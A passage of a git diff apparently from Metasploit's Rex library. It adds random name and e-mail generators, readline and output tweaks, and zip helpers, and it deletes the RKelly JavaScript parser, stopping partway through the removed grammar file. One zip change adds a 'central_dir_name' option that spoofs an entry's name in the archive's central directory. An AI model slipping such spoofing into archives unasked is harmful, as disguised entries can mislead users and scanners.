set.sample end buf @@ -1525,14 +1600,47 @@ module Text (rand(5) + 1).times { host.push(Rex::Text.rand_text_alphanumeric(rand(10) + 1)) } - d = ['com', 'net', 'org', 'gov'] - host.push(d[rand(d.size)]) + host.push(TLDs.sample) host.join('.').downcase end # Generate a state def self.rand_state() - States[rand(States.size)] + States.sample + end + + # Generate a surname + def self.rand_surname + Surnames.sample + end + + # Generate a name + def self.rand_name + if rand(10) % 2 == 0 + Names_Male.sample + else + Names_Female.sample + end + end + + # Generate a male name + def self.rand_name_male + Names_Male.sample + end + + # Generate a female name + def self.rand_name_female + Names_Female.sample + end + + # Generate a random mail address + def self.rand_mail_address + mail_address = '' + mail_address << Rex::Text.rand_name + mail_address << '.' + mail_address << Rex::Text.rand_surname + mail_address << '@' + mail_address << Rex::Text.rand_hostname end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index d50e35f0d8..faa889eecb 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -105,7 +105,7 @@ module DispatcherShell print_error "The #{cmd} command is DEPRECATED" if cmd == "db_autopwn" print_error "See http://r-7.co/xY65Zr instead" - elsif method and self.respond_to?("cmd_#{method}") + elsif method and self.respond_to?("cmd_#{method}", true) print_error "Use #{method} instead" self.send("cmd_#{method}", *args) end @@ -116,7 +116,7 @@ module DispatcherShell print_error "The #{cmd} command is DEPRECATED" if cmd == "db_autopwn" print_error "See http://r-7.co/xY65Zr instead" - elsif method and self.respond_to?("cmd_#{method}_help") + elsif method and self.respond_to?("cmd_#{method}_help", true) print_error "Use 'help #{method}' instead" self.send("cmd_#{method}_help") end @@ -150,9 +150,9 @@ module DispatcherShell next if (dispatcher.commands.nil?) next if (dispatcher.commands.length == 0) - if dispatcher.respond_to?("cmd_#{cmd}") + if dispatcher.respond_to?("cmd_#{cmd}", true) cmd_found = true - break unless dispatcher.respond_to? "cmd_#{cmd}_help" + break unless dispatcher.respond_to?("cmd_#{cmd}_help", true) dispatcher.send("cmd_#{cmd}_help") help_found = true break diff --git a/lib/rex/ui/text/input/readline.rb b/lib/rex/ui/text/input/readline.rb index 9975d9ae45..c6839ee630 100644 --- a/lib/rex/ui/text/input/readline.rb +++ b/lib/rex/ui/text/input/readline.rb @@ -20,11 +20,7 @@ begin # def initialize(tab_complete_proc = nil) if(not Object.const_defined?('Readline')) - begin - require 'readline' - rescue ::LoadError - require 'readline_compatible' - end + require 'readline' end self.extend(::Readline) @@ -87,7 +83,7 @@ begin Thread.current.priority = -20 output.prompting - line = ::Readline.readline(prompt, true) + line = readline_with_output(prompt, true) ::Readline::HISTORY.pop if (line and line.empty?) ensure Thread.current.priority = orig || 0 @@ -120,6 +116,37 @@ begin # attr_accessor :output + private + + def readline_with_output(prompt, add_history=false) + # rb-readlines's Readline.readline hardcodes the input and output to $stdin and $stdout, which means setting + # `Readline.input` or `Readline.ouput` has no effect when running `Readline.readline` with rb-readline, so need + # to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58) + # for rb-readline to support setting input and output. Output needs to be set so that colorization works for the + # prompt on Windows. + if defined? RbReadline + RbReadline.rl_instream = fd + RbReadline.rl_outstream = output + + begin + line = RbReadline.readline(prompt) + rescue ::Exception => exception + RbReadline.rl_cleanup_after_signal() + RbReadline.rl_deprep_terminal() + + raise exception + end + + if add_history && line + RbReadline.add_history(line) + end + + line.try(:dup) + else + ::Readline.readline(prompt, true) + end + end + end rescue LoadError end diff --git a/lib/rex/ui/text/output/buffer/stdout.rb b/lib/rex/ui/text/output/buffer/stdout.rb index fedf555233..c8a7a5357a 100644 --- a/lib/rex/ui/text/output/buffer/stdout.rb +++ b/lib/rex/ui/text/output/buffer/stdout.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # make sure the classes are defined before opening it to define submodule require 'rex/ui/text/output' require 'rex/ui/text/output/buffer' diff --git a/lib/rex/ui/text/output/file.rb b/lib/rex/ui/text/output/file.rb index c3b9523778..e55f832282 100644 --- a/lib/rex/ui/text/output/file.rb +++ b/lib/rex/ui/text/output/file.rb @@ -14,8 +14,8 @@ class Output::File < Rex::Ui::Text::Output attr_accessor :fd - def initialize(path) - self.fd = ::File.open(path, "wb") + def initialize(path, mode='wb') + self.fd = ::File.open(path, mode) end def supports_color? diff --git a/lib/rex/ui/text/output/stdio.rb b/lib/rex/ui/text/output/stdio.rb index 28eea33613..b55bd5e685 100644 --- a/lib/rex/ui/text/output/stdio.rb +++ b/lib/rex/ui/text/output/stdio.rb @@ -16,6 +16,76 @@ module Text # ### class Output::Stdio < Rex::Ui::Text::Output + # + # Attributes + # + + # @!attribute io + # The raw `IO` backing this Text output. Defaults to `$stdout` + # + # @return [#flush, #puts, #write] + attr_writer :io + + # + # Constructor + # + + # @param options [Hash{Symbol => IO}] + # @option options [IO] + def initialize(options={}) + options.assert_valid_keys(:io) + + super() + + self.io = options[:io] + end + + # + # Methods + # + + def flush + io.flush + end + + # IO to write to. + # + # @return [IO] Default to `$stdout` + def io + @io ||= $stdout + end + + # + # Prints the supplied message to standard output. + # + def print_raw(msg = '') + if (Rex::Compat.is_windows and supports_color?) + WindowsConsoleColorSupport.new(io).write(msg) + else + io.print(msg) + end + + io.flush + + msg + end + alias_method :write, :print_raw + + def puts(*args) + args.each do |argument| + line = argument.to_s + write(line) + + unless line.ends_with? "\n" + # yes, this is output, but `IO#puts` uses `rb_default_rs`, which is + # [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172), + # which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83) + write($INPUT_RECORD_SEPARATOR) + end + end + + nil + end def supports_color? case config[:color] @@ -31,20 +101,6 @@ class Output::Stdio < Rex::Ui::Text::Output return (term and term.match(/(?:vt10[03]|xterm(?:-color)?|linux|screen|rxvt)/i) != nil) end end - - # - # Prints the supplied message to standard output. - # - def print_raw(msg = '') - if (Rex::Compat.is_windows and supports_color?) - WindowsConsoleColorSupport.new($stdout).write(msg) - else - $stdout.print(msg) - end - $stdout.flush - - msg - end end end diff --git a/lib/rex/ui/text/output/tee.rb b/lib/rex/ui/text/output/tee.rb index 772f22cbbb..ca6b9e4afe 100644 --- a/lib/rex/ui/text/output/tee.rb +++ b/lib/rex/ui/text/output/tee.rb @@ -44,6 +44,8 @@ class Output::Tee < Rex::Ui::Text::Output msg end + alias :write :print_raw + def close self.fd.close if self.fd self.fd = nil diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index ca1c3ec5d3..0cbb315494 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -275,9 +275,9 @@ protected nameline << pad(' ', last_col, last_idx) remainder = colprops[last_idx]['MaxWidth'] - last_col.length - if (remainder < 0) - remainder = 0 - end + if (remainder < 0) + remainder = 0 + end barline << (' ' * (cellpad + remainder)) end nameline << col @@ -305,7 +305,7 @@ protected last_cell = nil last_idx = nil row.each_with_index { |cell, idx| - if (last_cell) + if (idx != 0) line << pad(' ', last_cell.to_s, last_idx) end # line << pad(' ', cell.to_s, idx) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index 4943c7eeaa..168fa2b34d 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -17,15 +17,32 @@ class Archive @entries = [] end + # + # Recursively adds a directory of files into the archive. + # + def add_r(dir) + path = File.dirname(dir) + Dir[File.join(dir, "**", "**")].each do |file| + relative = file.sub(/^#{path.chomp('/')}\//, '') + if File.directory?(file) + @entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil) + else + contents = File.read(file, :mode => 'rb') + @entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil) + end + end + end # # Create a new Entry and add it to the archive. # # If fdata is set, the file is populated with that data # from the calling method. If fdata is nil, then the - # fs is checked for the file. + # fs is checked for the file. If central_dir_name is set + # it will be used to spoof the name at the Central Directory + # at packing time. # - def add_file(fname, fdata=nil, xtra=nil, comment=nil) + def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil) if (not fdata) begin st = File.stat(fname) @@ -47,7 +64,7 @@ class Archive end end - @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment) + @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name) end diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb index 913500c939..3f0da7ecba 100644 --- a/lib/rex/zip/blocks.rb +++ b/lib/rex/zip/blocks.rb @@ -116,7 +116,11 @@ class CentralDir end def pack - path = @entry.relative_path + if @entry.central_dir_name.blank? + path = @entry.relative_path + else + path = @entry.central_dir_path + end ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv') ret << [ ZIP_VERSION ].pack('v') diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index 4aee16e761..b1c4a352dc 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -8,11 +8,12 @@ module Zip # class Entry - attr_accessor :name, :flags, :info, :xtra, :comment, :attrs + attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name attr_reader :data - def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil) + def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil) @name = fname.unpack("C*").pack("C*") + @central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil) @data = data.unpack("C*").pack("C*") @xtra = xtra @xtra ||= '' @@ -71,10 +72,12 @@ class Entry def relative_path - if (@name[0,1] == '/') - return @name[1,@name.length] - end - @name + get_relative_path(@name) + end + + def central_dir_path + return nil if @central_dir_name.blank? + get_relative_path(@central_dir_name) end @@ -104,6 +107,15 @@ class Entry "#<#{self.class} name:#{name}, data:#{@data.length} bytes>" end + private + + def get_relative_path(path) + if (path[0,1] == '/') + return path[1, path.length] + end + path + end + end end diff --git a/lib/rkelly.rb b/lib/rkelly.rb deleted file mode 100644 index e711e4d06e..0000000000 --- a/lib/rkelly.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rkelly/constants' -require 'rkelly/visitable' -require 'rkelly/visitors' -require 'rkelly/parser' -require 'rkelly/runtime' -require 'rkelly/syntax_error' - -module RKelly - class << self - def parse *args - RKelly::Parser.new.parse(*args) - end - end -end diff --git a/lib/rkelly/constants.rb b/lib/rkelly/constants.rb deleted file mode 100644 index 6bb7385294..0000000000 --- a/lib/rkelly/constants.rb +++ /dev/null @@ -1,3 +0,0 @@ -module RKelly - VERSION = '1.0.3' -end diff --git a/lib/rkelly/generated_parser.output b/lib/rkelly/generated_parser.output deleted file mode 100644 index 03274af04a..0000000000 --- a/lib/rkelly/generated_parser.output +++ /dev/null @@ -1,11641 +0,0 @@ - - --------- Grammar -------- - -rule 1 SourceElements: -rule 2 SourceElements: SourceElementList -rule 3 SourceElementList: SourceElement -rule 4 SourceElementList: SourceElementList SourceElement -rule 5 SourceElement: FunctionDeclaration -rule 6 SourceElement: Statement -rule 7 Statement: Block -rule 8 Statement: VariableStatement -rule 9 Statement: ConstStatement -rule 10 Statement: EmptyStatement -rule 11 Statement: ExprStatement -rule 12 Statement: IfStatement -rule 13 Statement: IterationStatement -rule 14 Statement: ContinueStatement -rule 15 Statement: BreakStatement -rule 16 Statement: ReturnStatement -rule 17 Statement: WithStatement -rule 18 Statement: SwitchStatement -rule 19 Statement: LabelledStatement -rule 20 Statement: ThrowStatement -rule 21 Statement: TryStatement -rule 22 Statement: DebuggerStatement -rule 23 Literal: NULL -rule 24 Literal: TRUE -rule 25 Literal: FALSE -rule 26 Literal: NUMBER -rule 27 Literal: STRING -rule 28 Literal: REGEXP -rule 29 Property: IDENT ":" AssignmentExpr -rule 30 Property: STRING ":" AssignmentExpr -rule 31 Property: NUMBER ":" AssignmentExpr -rule 32 Property: IDENT IDENT "(" ")" "{" FunctionBody "}" -rule 33 Property: IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 34 PropertyList: Property -rule 35 PropertyList: PropertyList "," Property -rule 36 PrimaryExpr: PrimaryExprNoBrace -rule 37 PrimaryExpr: "{" "}" -rule 38 PrimaryExpr: "{" PropertyList "}" -rule 39 PrimaryExpr: "{" PropertyList "," "}" -rule 40 PrimaryExprNoBrace: THIS -rule 41 PrimaryExprNoBrace: Literal -rule 42 PrimaryExprNoBrace: ArrayLiteral -rule 43 PrimaryExprNoBrace: IDENT -rule 44 PrimaryExprNoBrace: "(" Expr ")" -rule 45 ArrayLiteral: "[" ElisionOpt "]" -rule 46 ArrayLiteral: "[" ElementList "]" -rule 47 ArrayLiteral: "[" ElementList "," ElisionOpt "]" -rule 48 ElementList: ElisionOpt AssignmentExpr -rule 49 ElementList: ElementList "," ElisionOpt AssignmentExpr -rule 50 ElisionOpt: -rule 51 ElisionOpt: Elision -rule 52 Elision: "," -rule 53 Elision: Elision "," -rule 54 MemberExpr: PrimaryExpr -rule 55 MemberExpr: FunctionExpr -rule 56 MemberExpr: MemberExpr "[" Expr "]" -rule 57 MemberExpr: MemberExpr "." IDENT -rule 58 MemberExpr: NEW MemberExpr Arguments -rule 59 MemberExprNoBF: PrimaryExprNoBrace -rule 60 MemberExprNoBF: MemberExprNoBF "[" Expr "]" -rule 61 MemberExprNoBF: MemberExprNoBF "." IDENT -rule 62 MemberExprNoBF: NEW MemberExpr Arguments -rule 63 NewExpr: MemberExpr -rule 64 NewExpr: NEW NewExpr -rule 65 NewExprNoBF: MemberExprNoBF -rule 66 NewExprNoBF: NEW NewExpr -rule 67 CallExpr: MemberExpr Arguments -rule 68 CallExpr: CallExpr Arguments -rule 69 CallExpr: CallExpr "[" Expr "]" -rule 70 CallExpr: CallExpr "." IDENT -rule 71 CallExprNoBF: MemberExprNoBF Arguments -rule 72 CallExprNoBF: CallExprNoBF Arguments -rule 73 CallExprNoBF: CallExprNoBF "[" Expr "]" -rule 74 CallExprNoBF: CallExprNoBF "." IDENT -rule 75 Arguments: "(" ")" -rule 76 Arguments: "(" ArgumentList ")" -rule 77 ArgumentList: AssignmentExpr -rule 78 ArgumentList: ArgumentList "," AssignmentExpr -rule 79 LeftHandSideExpr: NewExpr -rule 80 LeftHandSideExpr: CallExpr -rule 81 LeftHandSideExprNoBF: NewExprNoBF -rule 82 LeftHandSideExprNoBF: CallExprNoBF -rule 83 PostfixExpr: LeftHandSideExpr -rule 84 PostfixExpr: LeftHandSideExpr PLUSPLUS -rule 85 PostfixExpr: LeftHandSideExpr MINUSMINUS -rule 86 PostfixExprNoBF: LeftHandSideExprNoBF -rule 87 PostfixExprNoBF: LeftHandSideExprNoBF PLUSPLUS -rule 88 PostfixExprNoBF: LeftHandSideExprNoBF MINUSMINUS -rule 89 UnaryExprCommon: DELETE UnaryExpr -rule 90 UnaryExprCommon: VOID UnaryExpr -rule 91 UnaryExprCommon: TYPEOF UnaryExpr -rule 92 UnaryExprCommon: PLUSPLUS UnaryExpr -rule 93 UnaryExprCommon: MINUSMINUS UnaryExpr -rule 94 UnaryExprCommon: "+" UnaryExpr -rule 95 UnaryExprCommon: "-" UnaryExpr -rule 96 UnaryExprCommon: "~" UnaryExpr -rule 97 UnaryExprCommon: "!" UnaryExpr -rule 98 UnaryExpr: PostfixExpr -rule 99 UnaryExpr: UnaryExprCommon -rule 100 UnaryExprNoBF: PostfixExprNoBF -rule 101 UnaryExprNoBF: UnaryExprCommon -rule 102 MultiplicativeExpr: UnaryExpr -rule 103 MultiplicativeExpr: MultiplicativeExpr "*" UnaryExpr -rule 104 MultiplicativeExpr: MultiplicativeExpr "/" UnaryExpr -rule 105 MultiplicativeExpr: MultiplicativeExpr "%" UnaryExpr -rule 106 MultiplicativeExprNoBF: UnaryExprNoBF -rule 107 MultiplicativeExprNoBF: MultiplicativeExprNoBF "*" UnaryExpr -rule 108 MultiplicativeExprNoBF: MultiplicativeExprNoBF "/" UnaryExpr -rule 109 MultiplicativeExprNoBF: MultiplicativeExprNoBF "%" UnaryExpr -rule 110 AdditiveExpr: MultiplicativeExpr -rule 111 AdditiveExpr: AdditiveExpr "+" MultiplicativeExpr -rule 112 AdditiveExpr: AdditiveExpr "-" MultiplicativeExpr -rule 113 AdditiveExprNoBF: MultiplicativeExprNoBF -rule 114 AdditiveExprNoBF: AdditiveExprNoBF "+" MultiplicativeExpr -rule 115 AdditiveExprNoBF: AdditiveExprNoBF "-" MultiplicativeExpr -rule 116 ShiftExpr: AdditiveExpr -rule 117 ShiftExpr: ShiftExpr LSHIFT AdditiveExpr -rule 118 ShiftExpr: ShiftExpr RSHIFT AdditiveExpr -rule 119 ShiftExpr: ShiftExpr URSHIFT AdditiveExpr -rule 120 ShiftExprNoBF: AdditiveExprNoBF -rule 121 ShiftExprNoBF: ShiftExprNoBF LSHIFT AdditiveExpr -rule 122 ShiftExprNoBF: ShiftExprNoBF RSHIFT AdditiveExpr -rule 123 ShiftExprNoBF: ShiftExprNoBF URSHIFT AdditiveExpr -rule 124 RelationalExpr: ShiftExpr -rule 125 RelationalExpr: RelationalExpr "<" ShiftExpr -rule 126 RelationalExpr: RelationalExpr ">" ShiftExpr -rule 127 RelationalExpr: RelationalExpr LE ShiftExpr -rule 128 RelationalExpr: RelationalExpr GE ShiftExpr -rule 129 RelationalExpr: RelationalExpr INSTANCEOF ShiftExpr -rule 130 RelationalExpr: RelationalExpr IN ShiftExpr -rule 131 RelationalExprNoIn: ShiftExpr -rule 132 RelationalExprNoIn: RelationalExprNoIn "<" ShiftExpr -rule 133 RelationalExprNoIn: RelationalExprNoIn ">" ShiftExpr -rule 134 RelationalExprNoIn: RelationalExprNoIn LE ShiftExpr -rule 135 RelationalExprNoIn: RelationalExprNoIn GE ShiftExpr -rule 136 RelationalExprNoIn: RelationalExprNoIn INSTANCEOF ShiftExpr -rule 137 RelationalExprNoBF: ShiftExprNoBF -rule 138 RelationalExprNoBF: RelationalExprNoBF "<" ShiftExpr -rule 139 RelationalExprNoBF: RelationalExprNoBF ">" ShiftExpr -rule 140 RelationalExprNoBF: RelationalExprNoBF LE ShiftExpr -rule 141 RelationalExprNoBF: RelationalExprNoBF GE ShiftExpr -rule 142 RelationalExprNoBF: RelationalExprNoBF INSTANCEOF ShiftExpr -rule 143 RelationalExprNoBF: RelationalExprNoBF IN ShiftExpr -rule 144 EqualityExpr: RelationalExpr -rule 145 EqualityExpr: EqualityExpr EQEQ RelationalExpr -rule 146 EqualityExpr: EqualityExpr NE RelationalExpr -rule 147 EqualityExpr: EqualityExpr STREQ RelationalExpr -rule 148 EqualityExpr: EqualityExpr STRNEQ RelationalExpr -rule 149 EqualityExprNoIn: RelationalExprNoIn -rule 150 EqualityExprNoIn: EqualityExprNoIn EQEQ RelationalExprNoIn -rule 151 EqualityExprNoIn: EqualityExprNoIn NE RelationalExprNoIn -rule 152 EqualityExprNoIn: EqualityExprNoIn STREQ RelationalExprNoIn -rule 153 EqualityExprNoIn: EqualityExprNoIn STRNEQ RelationalExprNoIn -rule 154 EqualityExprNoBF: RelationalExprNoBF -rule 155 EqualityExprNoBF: EqualityExprNoBF EQEQ RelationalExpr -rule 156 EqualityExprNoBF: EqualityExprNoBF NE RelationalExpr -rule 157 EqualityExprNoBF: EqualityExprNoBF STREQ RelationalExpr -rule 158 EqualityExprNoBF: EqualityExprNoBF STRNEQ RelationalExpr -rule 159 BitwiseANDExpr: EqualityExpr -rule 160 BitwiseANDExpr: BitwiseANDExpr "&" EqualityExpr -rule 161 BitwiseANDExprNoIn: EqualityExprNoIn -rule 162 BitwiseANDExprNoIn: BitwiseANDExprNoIn "&" EqualityExprNoIn -rule 163 BitwiseANDExprNoBF: EqualityExprNoBF -rule 164 BitwiseANDExprNoBF: BitwiseANDExprNoBF "&" EqualityExpr -rule 165 BitwiseXORExpr: BitwiseANDExpr -rule 166 BitwiseXORExpr: BitwiseXORExpr "^" BitwiseANDExpr -rule 167 BitwiseXORExprNoIn: BitwiseANDExprNoIn -rule 168 BitwiseXORExprNoIn: BitwiseXORExprNoIn "^" BitwiseANDExprNoIn -rule 169 BitwiseXORExprNoBF: BitwiseANDExprNoBF -rule 170 BitwiseXORExprNoBF: BitwiseXORExprNoBF "^" BitwiseANDExpr -rule 171 BitwiseORExpr: BitwiseXORExpr -rule 172 BitwiseORExpr: BitwiseORExpr "|" BitwiseXORExpr -rule 173 BitwiseORExprNoIn: BitwiseXORExprNoIn -rule 174 BitwiseORExprNoIn: BitwiseORExprNoIn "|" BitwiseXORExprNoIn -rule 175 BitwiseORExprNoBF: BitwiseXORExprNoBF -rule 176 BitwiseORExprNoBF: BitwiseORExprNoBF "|" BitwiseXORExpr -rule 177 LogicalANDExpr: BitwiseORExpr -rule 178 LogicalANDExpr: LogicalANDExpr AND BitwiseORExpr -rule 179 LogicalANDExprNoIn: BitwiseORExprNoIn -rule 180 LogicalANDExprNoIn: LogicalANDExprNoIn AND BitwiseORExprNoIn -rule 181 LogicalANDExprNoBF: BitwiseORExprNoBF -rule 182 LogicalANDExprNoBF: LogicalANDExprNoBF AND BitwiseORExpr -rule 183 LogicalORExpr: LogicalANDExpr -rule 184 LogicalORExpr: LogicalORExpr OR LogicalANDExpr -rule 185 LogicalORExprNoIn: LogicalANDExprNoIn -rule 186 LogicalORExprNoIn: LogicalORExprNoIn OR LogicalANDExprNoIn -rule 187 LogicalORExprNoBF: LogicalANDExprNoBF -rule 188 LogicalORExprNoBF: LogicalORExprNoBF OR LogicalANDExpr -rule 189 ConditionalExpr: LogicalORExpr -rule 190 ConditionalExpr: LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr -rule 191 ConditionalExprNoIn: LogicalORExprNoIn -rule 192 ConditionalExprNoIn: LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn -rule 193 ConditionalExprNoBF: LogicalORExprNoBF -rule 194 ConditionalExprNoBF: LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr -rule 195 AssignmentExpr: ConditionalExpr -rule 196 AssignmentExpr: LeftHandSideExpr AssignmentOperator AssignmentExpr -rule 197 AssignmentExprNoIn: ConditionalExprNoIn -rule 198 AssignmentExprNoIn: LeftHandSideExpr AssignmentOperator AssignmentExprNoIn -rule 199 AssignmentExprNoBF: ConditionalExprNoBF -rule 200 AssignmentExprNoBF: LeftHandSideExprNoBF AssignmentOperator AssignmentExpr -rule 201 AssignmentOperator: "=" -rule 202 AssignmentOperator: PLUSEQUAL -rule 203 AssignmentOperator: MINUSEQUAL -rule 204 AssignmentOperator: MULTEQUAL -rule 205 AssignmentOperator: DIVEQUAL -rule 206 AssignmentOperator: LSHIFTEQUAL -rule 207 AssignmentOperator: RSHIFTEQUAL -rule 208 AssignmentOperator: URSHIFTEQUAL -rule 209 AssignmentOperator: ANDEQUAL -rule 210 AssignmentOperator: XOREQUAL -rule 211 AssignmentOperator: OREQUAL -rule 212 AssignmentOperator: MODEQUAL -rule 213 Expr: AssignmentExpr -rule 214 Expr: Expr "," AssignmentExpr -rule 215 ExprNoIn: AssignmentExprNoIn -rule 216 ExprNoIn: ExprNoIn "," AssignmentExprNoIn -rule 217 ExprNoBF: AssignmentExprNoBF -rule 218 ExprNoBF: ExprNoBF "," AssignmentExpr -rule 219 Block: "{" SourceElements "}" -rule 220 VariableStatement: VAR VariableDeclarationList ";" -rule 221 VariableStatement: VAR VariableDeclarationList error -rule 222 VariableDeclarationList: VariableDeclaration -rule 223 VariableDeclarationList: VariableDeclarationList "," VariableDeclaration -rule 224 VariableDeclarationListNoIn: VariableDeclarationNoIn -rule 225 VariableDeclarationListNoIn: VariableDeclarationListNoIn "," VariableDeclarationNoIn -rule 226 VariableDeclaration: IDENT -rule 227 VariableDeclaration: IDENT Initializer -rule 228 VariableDeclarationNoIn: IDENT -rule 229 VariableDeclarationNoIn: IDENT InitializerNoIn -rule 230 ConstStatement: CONST ConstDeclarationList ";" -rule 231 ConstStatement: CONST ConstDeclarationList error -rule 232 ConstDeclarationList: ConstDeclaration -rule 233 ConstDeclarationList: ConstDeclarationList "," ConstDeclaration -rule 234 ConstDeclaration: IDENT -rule 235 ConstDeclaration: IDENT Initializer -rule 236 Initializer: "=" AssignmentExpr -rule 237 InitializerNoIn: "=" AssignmentExprNoIn -rule 238 EmptyStatement: ";" -rule 239 ExprStatement: ExprNoBF ";" -rule 240 ExprStatement: ExprNoBF error -rule 241 IfStatement: IF "(" Expr ")" Statement -rule 242 IfStatement: IF "(" Expr ")" Statement ELSE Statement -rule 243 IterationStatement: DO Statement WHILE "(" Expr ")" ";" -rule 244 IterationStatement: DO Statement WHILE "(" Expr ")" error -rule 245 IterationStatement: WHILE "(" Expr ")" Statement -rule 246 IterationStatement: FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement -rule 247 IterationStatement: FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement -rule 248 IterationStatement: FOR "(" LeftHandSideExpr IN Expr ")" Statement -rule 249 IterationStatement: FOR "(" VAR IDENT IN Expr ")" Statement -rule 250 IterationStatement: FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement -rule 251 ExprOpt: -rule 252 ExprOpt: Expr -rule 253 ExprNoInOpt: -rule 254 ExprNoInOpt: ExprNoIn -rule 255 ContinueStatement: CONTINUE ";" -rule 256 ContinueStatement: CONTINUE error -rule 257 ContinueStatement: CONTINUE IDENT ";" -rule 258 ContinueStatement: CONTINUE IDENT error -rule 259 BreakStatement: BREAK ";" -rule 260 BreakStatement: BREAK error -rule 261 BreakStatement: BREAK IDENT ";" -rule 262 BreakStatement: BREAK IDENT error -rule 263 ReturnStatement: RETURN ";" -rule 264 ReturnStatement: RETURN error -rule 265 ReturnStatement: RETURN Expr ";" -rule 266 ReturnStatement: RETURN Expr error -rule 267 WithStatement: WITH "(" Expr ")" Statement -rule 268 SwitchStatement: SWITCH "(" Expr ")" CaseBlock -rule 269 CaseBlock: "{" CaseClausesOpt "}" -rule 270 CaseBlock: "{" CaseClausesOpt DefaultClause CaseClausesOpt "}" -rule 271 CaseClausesOpt: -rule 272 CaseClausesOpt: CaseClauses -rule 273 CaseClauses: CaseClause -rule 274 CaseClauses: CaseClauses CaseClause -rule 275 CaseClause: CASE Expr ":" SourceElements -rule 276 DefaultClause: DEFAULT ":" SourceElements -rule 277 LabelledStatement: IDENT ":" Statement -rule 278 ThrowStatement: THROW Expr ";" -rule 279 ThrowStatement: THROW Expr error -rule 280 TryStatement: TRY Block FINALLY Block -rule 281 TryStatement: TRY Block CATCH "(" IDENT ")" Block -rule 282 TryStatement: TRY Block CATCH "(" IDENT ")" Block FINALLY Block -rule 283 DebuggerStatement: DEBUGGER ";" -rule 284 DebuggerStatement: DEBUGGER error -rule 285 FunctionDeclaration: FUNCTION IDENT "(" ")" "{" FunctionBody "}" -rule 286 FunctionDeclaration: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 287 FunctionExpr: FUNCTION "(" ")" "{" FunctionBody "}" -rule 288 FunctionExpr: FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}" -rule 289 FunctionExpr: FUNCTION IDENT "(" ")" "{" FunctionBody "}" -rule 290 FunctionExpr: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 291 FormalParameterList: IDENT -rule 292 FormalParameterList: FormalParameterList "," IDENT -rule 293 FunctionBody: SourceElements - -------- Symbols ------- - -**Nonterminals, with rules where they appear - - $start (88) - on right: - on left : - SourceElements (89) - on right: 219 275 276 293 - on left : 1 2 - SourceElementList (90) - on right: 2 4 - on left : 3 4 - SourceElement (91) - on right: 3 4 - on left : 5 6 - FunctionDeclaration (92) - on right: 5 - on left : 285 286 - Statement (93) - on right: 6 241 242 243 244 245 246 247 248 249 250 267 277 - on left : 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 - Block (94) - on right: 7 280 281 282 - on left : 219 - VariableStatement (95) - on right: 8 - on left : 220 221 - ConstStatement (96) - on right: 9 - on left : 230 231 - EmptyStatement (97) - on right: 10 - on left : 238 - ExprStatement (98) - on right: 11 - on left : 239 240 - IfStatement (99) - on right: 12 - on left : 241 242 - IterationStatement (100) - on right: 13 - on left : 243 244 245 246 247 248 249 250 - ContinueStatement (101) - on right: 14 - on left : 255 256 257 258 - BreakStatement (102) - on right: 15 - on left : 259 260 261 262 - ReturnStatement (103) - on right: 16 - on left : 263 264 265 266 - WithStatement (104) - on right: 17 - on left : 267 - SwitchStatement (105) - on right: 18 - on left : 268 - LabelledStatement (106) - on right: 19 - on left : 277 - ThrowStatement (107) - on right: 20 - on left : 278 279 - TryStatement (108) - on right: 21 - on left : 280 281 282 - DebuggerStatement (109) - on right: 22 - on left : 283 284 - Literal (110) - on right: 41 - on left : 23 24 25 26 27 28 - Property (111) - on right: 34 35 - on left : 29 30 31 32 33 - AssignmentExpr (112) - on right: 29 30 31 48 49 77 78 190 194 196 200 213 214 218 236 - on left : 195 196 - FunctionBody (113) - on right: 32 33 285 286 287 288 289 290 - on left : 293 - FormalParameterList (114) - on right: 33 286 288 290 292 - on left : 291 292 - PropertyList (115) - on right: 35 38 39 - on left : 34 35 - PrimaryExpr (116) - on right: 54 - on left : 36 37 38 39 - PrimaryExprNoBrace (117) - on right: 36 59 - on left : 40 41 42 43 44 - ArrayLiteral (118) - on right: 42 - on left : 45 46 47 - Expr (119) - on right: 44 56 60 69 73 